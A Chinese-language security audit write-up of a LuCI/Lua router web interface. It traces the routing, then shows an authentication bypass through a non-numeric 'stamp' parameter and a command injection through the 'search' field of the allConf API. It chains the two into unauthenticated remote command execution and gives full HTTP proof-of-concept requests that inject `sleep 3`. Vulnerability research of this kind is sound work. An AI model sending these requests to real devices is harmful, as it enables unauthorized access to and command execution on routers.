0x01 前言
赛博群里面发了个url于是搞到源码,感觉这套源码超级适合lua审计入门,所以写了一篇这个水文zac师傅发了一个奇怪的漏洞,只要stamp不是数字就能直接登录进入系统http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27

感觉很奇怪,于是就找漂亮鼠要了一份源码,看了看
0x02 路由分析
拿到源码以后看目录是长这样的

这是根目录下的所有文件,我们要找的是web目录,所以要先确定web目录在那里这里对lua有个简单的方法,就是利用站点发送的url来快速确认

可以很明显的看得到,前面的各种请求都是api等关键字开头的所以可以尝试直接在vscode里面搜索关键字进行路由查找


也就是说: http://xxx.xxx.xxx.xxx/cgi-bin/luci/api/cmd对应的就是 entry({"api", "cmd"}, call("rpc_cmd"), nil)其中的 rpc_cmd 就是要被执行的方法跟进去 rpc_cmd() 函数发现有个 local _tbl = require "luci.modules.cmd"对应的文件就是: ./源码/rom/usr/lib/lua/luci/modules/cmd.lua也就是说这里才是真正执行业务代码的地方


0x03 奇怪的登录源码分析
poc: http://xxx.xxx.xxx.xxx/cgi-bin/luci/?stamp=1655176048%27前面说过,只要stamp不是数字就能直接登录进入系统并且对于路由也不限制,只要是前台能访问的路由就会触发这个漏洞而且我找了漂亮鼠要了一份源码所以这种情况简单的方法就是直接全局搜索stamp因为我猜测可能有全局过滤器这种类似的东西存在
目录: ./源码/rom/usr/lib/lua/luci/dispatcher.lua方法: authenticator.htmlauth()

看到这个文件就感觉应该就是它了因为 luci.http.formvalue("xxx") == PHP $_REQUEST["xxx"]并且有一个 luci.http.formvalue("stamp", true) 正是我们查找的而且的却是登录认证的逻辑,那么确认那里使用了 stamp 即可知道问题了


到这里就已经很清楚了因为auth = luci.http.formvalue("auth") 默认等于 ""time = luci.http.formvalue("stamp", true)local md5 = tool.getMd5(sn, ip, time)md5 又经过污染,也成功返回 ""因此 if md5 == auth 最终返回true,然后就成功的进行了登录这是lua弱类型的问题估计开发人员水平很差因为 "" == nil而且实际上 "" != nil最终导致了这个问题
0x04 后台-命令执行漏洞
最前面说过使用 entry() 函数的,就是外部可访问的路由接口大致搜索了一下,发现有23处,外部可访问的路由接口



路径: ./源码/rom/usr/lib/lua/luci/modules/common.lua方法: allConf()-- 获取配置信息function allConf(params)local _shell = "uci show"local _search = params.searchif _search ~= "" then_shell = _shell .. " | grep '" .. _search .. "'"endlocal tool = require "luci.utils.tool"_shell = tool.filterExecShell(_shell)return {conf = luci.sys.exec(_shell)}end-- 获取能力表function capacity()-- local tool = require "luci.utils.tool"local json = require "dkjson"return json.decode(luci.sys.exec("cat /tmp/rg_device/rg_device.json")) --能力表太大,请减少使用影响性能end

从上面就可以看的出来,params.search外部可控,并且无过滤直接拼接命令,最终执行,这没啥子好说的就是一个简单的找的过程!// 测试POCPOST /cgi-bin/luci/api/common?auth=94157d712dd903eff145374525f43e4a HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 56Accept: application/json, text/plain, */*Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"method":"allConf","params":{"search":"1';`sleep 3`'"}}

0x05 前台-命令执行的探讨

提示: 403 Forbidden, auth is not passed猜测有一个全局过滤器类似的东西,所以使用vscode搜索一下即可

有了后台,没有前台,就会显的很突兀,所以又回去看了一下目录: ./源码/rom/usr/lib/lua/luci/controller/eweb/api.lua方法: index()->authenticator()

最终重新构造POC就变成前台rce了:POST /cgi-bin/luci/api/common?time=aa&auth= HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 56Accept: application/json, text/plain, */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"method":"allConf","params":{"search":"1';`sleep 3`'"}}

0x06 小结
这是一个很适合lua入门的源码, 还有多看群还是有好处的:)
